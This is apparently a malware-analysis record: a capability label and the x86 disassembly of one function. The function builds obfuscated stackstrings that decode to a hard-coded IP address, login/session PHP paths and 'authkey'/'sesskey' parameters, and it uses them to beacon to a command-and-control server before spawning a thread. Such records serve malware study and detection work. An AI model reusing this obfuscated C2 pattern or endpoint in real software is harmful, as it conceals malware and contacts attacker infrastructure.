Function at 0x10006f8d
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.0002
call fcn.1000405d
mov edi, eax
push edi
call fcn.10006c6d
add esp, 0x24
push 0x65
pop eax
mov esi, 0x100425c4
push esi
push 0x28
push 2
push edi
mov word [ebp - 0xb8], 0x4d
mov word [ebp - 0xb6], 0x69
mov word [ebp - 0xb4], 0x63
mov word [ebp - 0xb2], 0x72
mov word [ebp - 0xb0], 0x6f
mov word [ebp - 0xae], 0x73
mov word [ebp - 0xac], 0x6f
mov word [ebp - 0xaa], 0x66
mov word [ebp - 0xa8], 0x74
mov word [ebp - 0xa6], 0x5c
mov word [ebp - 0xa4], 0x53
mov word [ebp - 0xa2], ax
mov word [ebp - 0xa0], 0x61
mov word [ebp - 0x9e], 0x72
mov word [ebp - 0x9c], 0x63
mov word [ebp - 0x9a], 0x68
mov word [ebp - 0x98], bx
mov word [ebp - 0x94], 0x47
mov word [ebp - 0x92], 0x61
mov word [ebp - 0x90], 0x6d
mov word [ebp - 0x8e], ax
mov word [ebp - 0x8c], 0x74
mov word [ebp - 0x8a], 0x72
mov word [ebp - 0x88], ax
mov word [ebp - 0x86], ax
mov word [ebp - 0x84], bx
call fcn.10006a4c
lea eax, [ebp - 0xb8]
push eax
push 0x23
push 3
push edi
call fcn.10006a4c
lea eax, [ebp - 0x94]
push eax
push 0x23
push 4
push edi
call fcn.10006a4c
push esi
push 0x1a
push 5
push edi
call fcn.10006a4c
add esp, 0x40
push esi
push 0x28
push 2
push edi
call fcn.10006b04
lea eax, [ebp - 0xb8]
push eax
push 0x23
push 3
push edi
call fcn.10006b04
lea eax, [ebp - 0x94]
push eax
push 0x23
push 4
push edi
call fcn.10006b04
push esi
push 0x1a
push 5
push edi
call fcn.10006b04
add esp, 0x40
push 0x22
pop ecx
lea eax, [ebp - 0xb8]
mov byte [eax], bl
inc eax
dec ecx
jne 0x1000711c
push 0x12
pop ecx
lea eax, [ebp - 0x94]
mov byte [eax], bl
inc eax
dec ecx
jne 0x1000712b
push edi
call fcn.10006954
pop ecx
mov dword [ebp - 0x78], 1
call fcn.1000123e
mov dword [ebp - 0x7c], eax
mov byte [ebp - 0x74], 0x31
mov byte [ebp - 0x73], 0x33
mov byte [ebp - 0x72], 0x36
mov byte [ebp - 0x71], 0x2e
mov byte [ebp - 0x70], 0x32
mov byte [ebp - 0x6f], 0x34
mov byte [ebp - 0x6e], 0x33
mov byte [ebp - 0x6d], 0x2e
mov byte [ebp - 0x6c], 0x38
mov byte [ebp - 0x6b], 0x31
mov byte [ebp - 0x6a], 0x2e
mov byte [ebp - 0x69], 0x32
mov byte [ebp - 0x68], 0x33
mov byte [ebp - 0x67], 0x38
mov byte [ebp - 0x66], 0x2f
mov byte [ebp - 0x65], 0x6c
mov byte [ebp - 0x64], 0x6f
mov byte [ebp - 0x63], 0x67
mov byte [ebp - 0x62], 0x69
mov byte [ebp - 0x61], 0x6e
mov byte [ebp - 0x60], 0x2f
mov byte [ebp - 0x5f], 0x61
mov byte [ebp - 0x5e], 0x6c
mov byte [ebp - 0x5d], 0x69
mov byte [ebp - 0x5c], 0x63
mov byte [ebp - 0x5b], 0x69
mov byte [ebp - 0x5a], 0x61
mov byte [ebp - 0x59], 0x2f
mov byte [ebp - 0x58], 0x6f
mov byte [ebp - 0x57], 0x66
mov byte [ebp - 0x56], 0x66
mov byte [ebp - 0x55], 0x6c
mov byte [ebp - 0x54], 0x69
mov byte [ebp - 0x53], 0x6e
mov byte [ebp - 0x52], 0x65
mov byte [ebp - 0x51], 0x5f
mov byte [ebp - 0x50], 0x73
mov byte [ebp - 0x4f], 0x65
mov byte [ebp - 0x4e], 0x73
mov byte [ebp - 0x4d], 0x73
mov byte [ebp - 0x4c], 0x69
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x4a], 0x6e
mov byte [ebp - 0x49], 0x32
mov byte [ebp - 0x48], 0x2e
mov byte [ebp - 0x47], 0x70
mov byte [ebp - 0x46], 0x68
mov byte [ebp - 0x45], 0x70
mov byte [ebp - 0x44], bl
mov byte [ebp - 0x40], 0x68
mov byte [ebp - 0x3f], 0x74
mov byte [ebp - 0x3e], 0x74
mov byte [ebp - 0x3d], 0x70
mov byte [ebp - 0x3c], 0x73
mov byte [ebp - 0x3b], 0x3a
mov byte [ebp - 0x3a], 0x2f
mov byte [ebp - 0x39], 0x2f
mov byte [ebp - 0x38], 0x31
mov byte [ebp - 0x37], 0x33
mov byte [ebp - 0x36], 0x36
mov byte [ebp - 0x35], 0x2e
mov byte [ebp - 0x34], 0x32
mov byte [ebp - 0x33], 0x34
mov byte [ebp - 0x32], 0x33
mov byte [ebp - 0x31], 0x2e
mov byte [ebp - 0x30], 0x38
mov byte [ebp - 0x2f], 0x31
mov byte [ebp - 0x2e], 0x2e
mov byte [ebp - 0x2d], 0x32
mov byte [ebp - 0x2c], 0x33
mov byte [ebp - 0x2b], 0x38
mov byte [ebp - 0x2a], 0x2f
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x67
push ebx
push dword [0x1005b414]
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], bl
mov byte [ebp - 0x20], 0x6d
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x6d
mov byte [ebp - 0x1d], 0x62
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x75
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x68
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x79
mov byte [ebp - 0xd], bl
mov byte [ebp - 0xc], 0x73
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x73
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x6b
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x79
mov byte [ebp - 5], bl
call fcn.100042f4
mov ecx, dword [0x1005bb94]
push ebx
push dword [ecx]
mov esi, 0x10042538
push esi
lea ecx, [ebp - 0x14]
push ecx
push 0x100425f0
push dword [eax]
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x20]
push esi
push eax
call fcn.1000405d
push ebx
push ebx
push ebx
push ebx
push dword [edi]
lea ecx, [ebp - 0xc]
push esi
push ecx
mov dword [ebp - 0x80], eax
push eax
mov eax, 0x100425f0
call fcn.10004296
mov eax, dword [ebp - 0x80]
add esp, 0x48
push ebx
push ebx
push dword [eax]
lea eax, [ebp - 0x40]
push str._r_nContent_Type:__r_nContent_Length:__r_n_r_n
push str.close
push str._r_nConnection:
push eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x7c]
xor eax, eax
call fcn.10003959
mov esi, eax
add esp, 0x24
cmp esi, ebx
je 0x10007379
lea eax, [ebp - 0x78]
push eax
push str.result
push dword [esi]
call fcn.10005c6d
add esp, 0xc
call fcn.10004019
mov esi, dword [ebp - 0xbc]
call fcn.10004019
mov esi, dword [ebp - 0x80]
call fcn.10004019
push 0x31
pop ecx
lea eax, [ebp - 0x74]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007392
push 0x1d
pop ecx
lea eax, [ebp - 0x40]
mov byte [eax], bl
inc eax
dec ecx
jne 0x1000739e
push 9
pop ecx
lea eax, [ebp - 0x20]
mov byte [eax], bl
inc eax
dec ecx
jne 0x100073aa
push 8
pop ecx
lea eax, [ebp - 0x14]
mov byte [eax], bl
inc eax
dec ecx
jne 0x100073b6
push 8
pop ecx
lea eax, [ebp - 0xc]
mov byte [eax], bl
inc eax
dec ecx
jne 0x100073c2
mov ebx, dword [ebp - 0x7c]
call fcn.1000180b
mov esi, edi
call fcn.10004019
xor ecx, ecx
cmp dword [ebp - 0x78], ecx
je 0x10007409
mov eax, dword [ebp + 8]
mov edx, 0x24eab
mov byte [eax], cl
inc eax
dec edx
jne 0x100073e6
push ecx
push ecx
push dword [ebp - 0x78]
push 0x10006e7f
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
leave
ret